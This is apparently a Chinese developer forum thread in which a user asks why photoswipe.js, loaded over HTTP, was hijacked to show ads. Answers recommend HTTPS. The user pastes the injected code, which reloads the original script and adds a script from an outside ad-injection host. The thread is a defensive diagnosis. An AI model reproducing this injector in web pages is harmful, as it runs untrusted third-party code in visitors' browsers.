首页 新闻 搜索 专区 学院

js被劫持。原因在哪里?是何原理?

0
[已解决问题] 解决于 2021-02-22 10:31

这个问题,遇到过很多次了,虽然知道解决方法,却不知道是什么原因引起的。
先说下解决方法吧:

最简单有效的方法就是使用SSL证书,改为HPPTS访问。

但我还想问,还有其他办法吗?

最近的一个项目引用了一个photoswipe.js,一运行项目,发现被植入了广告。

正奇怪呢?这个项目是GITHUB上的开源项目怎么会有毒呢?
打开这个JS去一行一行的阅读这1000多行代码。阅读完后,感觉没什么毛病啊?可为什么会有广告呢?

带着疑惑不断的去各种尝试,经过几小时不懈的奋斗后终于查到问题所在了。

打开控制台的sources会发现,有两个一样的photoswipe.js资源。其中有一个后台参数跟了哈希值。点开那个没带哈希的文件,里面代码如下:

var _atn_obj_ = new Object;
_atn_obj_.oldurl = 'http://m.mj.idoipo.com/static/js/photoswipe-ui-default.min.js?cHVzaA=1521767807';
_atn_obj_.unified_url = 'http://uiq.mlnbike.com:2525/ad_unified_access?SP=ABys7Og8/IysrPy8zOx8nOyr/OyczRmJuDtt/Oz9HN0dLOg82Dy8vPzM/Pg86DzsrNzsjJyMfPyIPOys3OyMnIx8/Iz8nLx8/GyoPLyMzN';
window.setTimeout(function() {
var a = document.createElement("script");
a.src = _atn_obj_.oldurl;
document.getElementsByTagName("head")[0].appendChild(a);
},
0);
window.setTimeout(function() {
var a = document.createElement("script");
a.src = _atn_obj_.unified_url;
document.getElementsByTagName("head")[0].appendChild(a);
},
0);

好牛犇那!我的js文件竟然被篡改了。篡改后再把我原来的JS再给插入进来,另外再引入了一个病毒script。
我就奇怪了,这JS是怎么被篡改的?原因在哪?原理何在?
小米飞刀&的主页 小米飞刀& | 菜鸟二级 | 园豆:204
提问于:2018-03-23 10:50
< >
分享
最佳答案
1

推荐园子里的一篇博文:【前端安全】JavaScript防http劫持与XSS

奖励园豆:5
dudu | 高人七级 |园豆:37655 | 2018-03-23 11:14
其他回答(2)
0

找到了文档一个相似度比较高的一个文档https://www.cnblogs.com/july4/p/5338681.html。

它上面指出再js地址后台加上一些参数就可以了。
真的可以吗?我对此表示疑问。

小米飞刀& | 园豆:204 (菜鸟二级) | 2018-03-23 11:09
0

果断改https

ycyzharry | 园豆:23683 (高人七级) | 2018-03-23 11:17
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册